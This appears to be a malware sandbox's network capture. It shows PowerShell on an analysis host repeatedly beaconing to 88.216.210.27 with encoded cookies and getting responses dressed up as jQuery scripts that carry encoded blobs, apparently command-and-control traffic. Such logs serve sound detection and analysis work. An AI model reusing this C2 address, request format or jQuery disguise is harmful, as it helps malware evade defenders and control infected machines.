Apr 9, 2023 02:59:48.692620039 CEST	717	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:48.692643881 CEST	719	IN	Data Raw: 46 45 41 41 41 45 49 41 41 4a 45 46 4a 4a 47 46 4b 4c 44 47 4b 48 41 42 48 4e 4b 41 4b 4f 4a 4e 41 49 45 45 41 45 4f 4e 44 4f 4d 44 49 4d 48 50 50 4c 4c 43 4f 44 4f 4e 4e 4a 4e 48 4c 43 4c 47 42 45 48 45 47 45 46 4b 44 4d 43 46 46 4b 4b 4b 42 45 Data Ascii: FEAAAEIAAJEFJJGFKLDGKHABHNKAKOJNAIEEAEONDOMDIMHPPLLCODONNJNHLCLGBEHEGEFKDMCFFKKKBEODDLHMPODOEDCNIFDFJCANBFLBHNHCIAOEEAPDMJOPKAFKJOCMHBJBKHOJPOCPFPMBOCEFBPAJCMJKBMFKAOEDJOCLIJBDNLCGDGKKDAJHAFFK/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.5	49843	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:48.948551893 CEST	720	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=HjntXkX6jRmUzkJfJ-8DPuRFbjVzfq0EiXZEk7EVdFk9DpouDKJrSeYzkISixA0x9lDoUx0VMGDdQOoDCJXBBbjnIbt0hPjglCOxBkJucjiKJesFLp9BK1xBE7s2Sat02r9u1VaXhQWsw8mqE9UphY23bFjMKZaI3iGcclPr7OcrDfXz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:49.097167969 CEST	720	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:49 GMT Server: CloudFront Content-Length: 2324 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:49.097203016 CEST	721	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:49.097227097 CEST	722	IN	Data Raw: 4f 4b 4e 47 4e 44 49 45 4a 43 4b 50 4b 43 48 4b 4e 41 43 4b 50 46 4d 4d 49 49 45 48 4f 47 4f 4d 4a 4c 44 49 44 50 43 45 50 4a 4c 4e 48 4c 43 43 4c 42 43 45 4a 45 41 4b 41 43 4d 48 48 4b 4c 47 42 4b 42 50 44 4a 4d 4d 43 4f 50 42 4e 46 48 44 41 50 Data Ascii: OKNGNDIEJCKPKCHKNACKPFMMIIEHOGOMJLDIDPCEPJLNHLCCLBCEJEAKACMHHKLGBKBPDJMMCOPBNFHDAPDNFAJHDAOCGADLLFIJAJKABIHCPKBFNHBKAGGENOMLPEDP/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49700	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:45.376580000 CEST	167	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=47dWvbh0NvppQPm82mG43RnL1daO8BbndPj_cEybz7rAgCHN8SzQqhu9K2dfSrbSC95TsOCbi4MgzlHg9Rt65kVpmliJCkMDaa0K5b_gydt3q1Dm0xH6yKHPqFjLxxCXJzHVNqsZPuZRTXJJ7luSZnA517sxpy1rI68nka5lVwTWg04Q User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:45.525330067 CEST	167	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:45 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:45.525355101 CEST	169	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:45.525376081 CEST	170	IN	Data Raw: 4a 47 44 4d 47 4d 45 47 44 45 4b 4f 4c 41 46 48 50 41 4a 47 42 4d 46 46 4c 42 42 44 42 4c 42 49 41 43 41 4a 47 48 50 4e 48 48 4a 49 4a 44 4a 49 4a 4d 50 46 49 44 4f 41 44 49 4b 4e 42 48 42 50 43 41 50 42 41 46 4f 43 47 45 48 41 4c 4c 4f 4b 4d 4a Data Ascii: JGDMGMEGDEKOLAFHPAJGBMFFLBBDBLBIACAJGHPNHHJIJDJIJMPFIDOADIKNBHBPCAPBAFOCGEHALLOKMJGCMPJLHNJFJOLIHGNGEFFACEMPOFGFAKKBNMONADANAAHKMGALAOOOJNFNGEPDHDFGLHNFBNLKKOCCNKJLODONGPEOKCBALHPFEMABOGALEDLH/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.5	49844	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:49.368700027 CEST	723	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=h2Jf59yhP6ANlfDmvrSxh30e3IzqJR-9EC32KihOxuCkVSiXlfnZ8H9oIj07n7-Ibwta6oROgtlEG1i6kc5zvCG8kwLt30pZDXgDv9s1wIETflm8t8TzksUaoQKvEhnNQ-TcbM_MN7w1mHsTio6bPBTs3uFVciQxR3ouy8qwXl6yVkdK User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:49.525636911 CEST	724	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:49 GMT Server: CloudFront Content-Length: 2420 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:49.525676966 CEST	725	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:49.525700092 CEST	726	IN	Data Raw: 46 41 4d 43 44 4c 4c 4f 42 4a 43 4f 50 43 4a 42 44 4e 4a 49 4f 4f 47 4f 4d 44 44 46 48 4d 47 46 47 46 4e 47 42 44 4f 41 48 41 45 50 49 4e 45 4d 4d 4a 49 4d 45 4d 41 4f 45 4c 47 50 45 49 46 46 4a 48 4b 41 45 4b 41 44 41 44 4d 45 50 44 47 4a 4d 44 Data Ascii: FAMCDLLOBJCOPCJBDNJIOOGOMDDFHMGFGFNGBDOAHAEPINEMMJIMEMAOELGPEIFFJHKAEKADADMEPDGJMDNCPAHFOAEMGBLCGMMCCLFKMPFEGAHMMNPFJAHLLGAKNCGNEMAEJIBKPBFLPCFCPBMEDEFJDNDFFCHMJOADAODCAKNBINPGLLCIINFBGEELNCNODOICGBEAMNIIAGGKGFHPIPPKDJPIKOIB/*! jQuery v3.4.1 \|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.5	49845	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:49.790419102 CEST	727	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=CJm3yVNa146CbhjIMU9ZqfLlNKJl3veTn9YeBKe1Ls4rrsC5GgIx3vCTyhO0ZFem4PCyxAu1avfL4LCUHjWbkq5HeyxiJKJ3goPrkVTOKK-chbGSOD8bvErhSSwg6fHjzB80QkA335K6Y5M9BXVzEpsXNs_aicwfyIHG5UVLtnA9ra9k User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:49.941365004 CEST	728	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:49 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:49.941411018 CEST	729	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:49.941441059 CEST	730	IN	Data Raw: 48 44 45 4a 4c 4f 44 45 4f 47 49 4b 45 48 4f 42 50 42 49 45 4e 46 4c 47 49 4d 42 44 4f 43 47 41 46 42 4e 46 44 41 44 50 49 4b 43 4d 46 4e 46 4a 47 4b 50 4b 4a 4a 46 45 4c 42 4c 4f 43 41 41 4d 4f 45 4f 4f 4d 50 42 41 4d 4f 49 4a 41 4e 4c 47 4c 47 Data Ascii: HDEJLODEOGIKEHOBPBIENFLGIMBDOCGAFBNFDADPIKCMFNFJGKPKJJFELBLOCAAMOEOOMPBAMOIJANLGLGJGDCBGEICHLLNGLCGHNANLDOKLJMAPLCNHDIJMGBLAFFKEPFFBFBHHEGPNMMMKCMIJEPAHOIPFBODMLOGKBLFDOONLPIJGABICFBJLNFNBINEE/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.5	49846	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:50.223813057 CEST	731	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=VGDPWA-jrx_el2BZbbYhOK4cTDM5J48Cwy9mlftMVl93V7goRvtJT6xqsoLonS83vAnKVVdMEmaXGcgFQszjA_K-A70-3drm3nqTAAg3UD7AfMkDZMZjLRYYMb18EIlykOZM0xzOpwPmmuusWYwLg8fuTl6GcLSOlHi-dBmyzuFhVNf1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:50.389086962 CEST	731	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:50 GMT Server: CloudFront Content-Length: 2580 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:50.389120102 CEST	733	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:50.389147043 CEST	734	IN	Data Raw: 4a 4b 48 50 4c 4a 46 47 49 45 46 50 49 4d 4c 46 4b 45 4f 44 4a 50 46 44 50 4d 4a 41 49 4c 47 4d 4a 4f 47 4a 42 43 4b 47 45 48 41 4d 48 4e 49 45 44 4a 4f 45 50 48 41 46 44 4a 4c 4e 41 4c 4e 47 47 4d 50 42 44 4e 43 50 46 45 4a 50 49 45 48 4c 4c 47 Data Ascii: JKHPLJFGIEFPIMLFKEODJPFDPMJAILGMJOGJBCKGEHAMHNIEDJOEPHAFDJLNALNGGMPBDNCPFEJPIEHLLGPCGCBJIDNKOGKAMEJIFKGIFOMILDMPGDPNIBMDOHFGDIFCAOOIIPGEJKICDGPOAGACIEALPFGFIBHBHEJMDCFCAELOIKNELPEOEMJLJDPFOPHIGJFEOELMJHICLPHOPFLLDAFEADDPEFHCLADAHBEHMBHDFCDEJHC
Apr 9, 2023 02:59:50.389164925 CEST	734	IN	Data Raw: 65 6e 74 4e 6f 64 65 3b Data Ascii: entNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.5	49847	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:50.652348042 CEST	735	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=-RGjOaLSw35z5gw4wMdNWQNtIFKUVuNjbl4K9FY9Oj7aJtRJ64olLgEb3uNF7ENWEXimNPo9fgc6aKRk772PYl_Pb9yTrLaHcwv_YaVGPF9tDaViybcPTLtpXdzRYeUTPZcgsrG_y2JL64fN9P1n4mqfIj8rAdjvOQnSFbTDooDMJbuU User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:50.800986052 CEST	735	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:50 GMT Server: CloudFront Content-Length: 2548 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:50.801043987 CEST	737	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:50.801068068 CEST	738	IN	Data Raw: 48 42 49 48 4b 47 44 47 42 41 4d 49 41 48 49 50 44 46 48 49 48 42 50 4c 4d 4f 4d 43 48 4c 46 46 48 4e 4d 4b 42 4f 4e 47 4e 42 49 45 42 43 49 41 41 47 41 49 41 50 4e 47 42 47 4e 4c 45 46 47 41 41 48 50 48 42 44 4c 44 4b 4f 43 44 41 4f 44 4f 44 4b Data Ascii: HBIHKGDGBAMIAHIPDFHIHBPLMOMCHLFFHNMKBONGNBIEBCIAAGAIAPNGBGNLEFGAAHPHBDLDKOCDAODODKHFPIAILNCPJKOFHAELAOGGIMCIIEAPMEGKHHCGMGDGCAILKFJLENHCBFMFPOEFLIEOIGCMOHDPKKIAOEDLOEEEIMMMPLJMNCANMLKEANGKNDLIJGAOOGKAHFLIAAGHDFMFOELGKGNOIHLILOIKFEDFOFKKAJFHAPA

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49701	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:45.791019917 CEST	171	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=6XvE-LK4pL9jjGv50K0qmBMHR5OEPISifjRtNUZXXf_KTLOI--BC7xFxuSJVhiSXARLB9epXGcYqAsOl_9foo0-lCB2DxtFGY2GYoLUsW559Z8Kj2d1ojasDOh3BC4LSLf1Hc6HVrKNbgeAM5JcAI3r1Rf47a78uKWO11KSpxUHcT9xV User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:45.940045118 CEST	171	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:45 GMT Server: CloudFront Content-Length: 2260 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:45.940109968 CEST	173	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:45.940159082 CEST	174	IN	Data Raw: 4c 48 48 4b 4d 44 4e 41 4f 4c 44 41 4f 4f 46 4a 4f 48 50 47 43 43 4b 43 43 4e 4c 49 4a 45 50 46 43 50 4c 45 4d 48 4c 42 4d 44 45 46 4c 41 42 4d 41 48 45 4b 46 44 4d 4e 42 4c 4c 4b 44 50 48 4f 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 Data Ascii: LHHKMDNAOLDAOOFJOHPGCCKCCNLIJEPFCPLEMHLBMDEFLABMAHEKFDMNBLLKDPHO/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? mo

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49702	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:46.204155922 CEST	175	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=JKmrX39qyxiuXgReHX9FP97VKDRJ7usFs-YCkouFMlgHntwvNjItSNyj1oWYVEswzMCuUieFdmHn0KwCMgWHBIJ3Z7pOFL7hrrP3B3j-NDmwta0EFA8HKmbRVboM2e114C8o1GwHwwSWU4-rKUVvhLcnKln2udCJ5LHac2l7quYRnbPy User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:46.352881908 CEST	175	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:46 GMT Server: CloudFront Content-Length: 2548 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:46.353096962 CEST	176	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:46.353127956 CEST	178	IN	Data Raw: 47 48 43 45 4a 50 44 4d 46 45 4a 49 4d 45 4d 49 48 47 43 49 4e 43 4e 4c 4a 50 46 45 4a 41 44 49 4c 4a 45 47 45 4e 46 4c 47 44 4b 47 44 4f 42 4d 48 4e 46 4a 44 46 41 43 42 41 49 43 4a 4f 48 48 42 4d 47 4f 4e 41 4d 49 4f 4e 4a 44 46 4d 4e 4a 4e 45 Data Ascii: GHCEJPDMFEJIMEMIHGCINCNLJPFEJADILJEGENFLGDKGDOBMHNFJDFACBAICJOHHBMGONAMIONJDFMNJNECONLGFAGNGKMINLKIOJADBFJKBNOMCLCPEAOOAEFENIHPAJKNAOECADEIIPKMOHFGCEDFJLEEBOBODICPKAFJKEGDOEBFHAFPFCLJOPCHPIKDNEBPGPHNIIFKLHPEMPEKNNFMFOAOMKHNEMJIDAFLGEOMOJCOOCPO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49703	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:46.624484062 CEST	179	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=4kWdULmG_RdosjJR25NzMBg5HjuPAt0KdQo0nU1pBFfBcuog8N4bRxpP4IpeuH0_CiyYXeFpQG4hPJoN9OmxC0SbUbWI-IjuaF_BCL4SAjZ2WZsL0uMxJaA9Y7XKNdt6JsMe26rr9QtQv7mk76lZi3HLHFYwVeaGIl3sfK-XnOnXcYX9 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:46.773291111 CEST	179	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:46 GMT Server: CloudFront Content-Length: 2516 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:46.773335934 CEST	180	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:46.773359060 CEST	182	IN	Data Raw: 4d 46 43 41 4e 49 45 4d 43 41 41 48 4b 43 4c 42 4b 4a 44 4b 50 43 47 4c 48 4a 4b 4c 43 42 44 4a 4f 41 46 49 4c 44 4f 44 42 4b 4e 45 4e 4b 45 4d 46 4f 50 43 4f 4c 44 48 45 4a 41 4a 42 47 41 46 4a 4c 4d 42 44 43 46 47 4d 43 41 46 46 47 47 50 46 50 Data Ascii: MFCANIEMCAAHKCLBKJDKPCGLHJKLCBDJOAFILDODBKNENKEMFOPCOLDHEJAJBGAFJLMBDCFGMCAFFGGPFPPCDCJPLLNKCPENGFFPHCOOHKODLIGEAJLHCBGLJLNCGMHLILGHOCIPGFMBJOBKEINCGEMBCFNFJLGMNFCCACJDNCDHJOGDICEDDFPHFNCIBHAAPFEBCBACEHAKFBOKJKIKDDKENGJBDIDLNFDAAGLJCHCFHJHHNBC

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49686	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:39.487566948 CEST	112	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=MBzzTWvfkwq661xMCcodLcpgcCZdW7MXp1NagJ8wakoTK4Q9Iod1WsgWjpeM4RMi2HX2QDMwLnPzZfQQJrDfFpbCP6haoebzugavFWxLbCukAPUWALpfOHJkDagYbLVn9JpwxniymxaC5te5PfA3lqOSckviDIib8ASCYX3O8vQFKOvg User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:39.638436079 CEST	112	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:39 GMT Server: CloudFront Content-Length: 2548 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
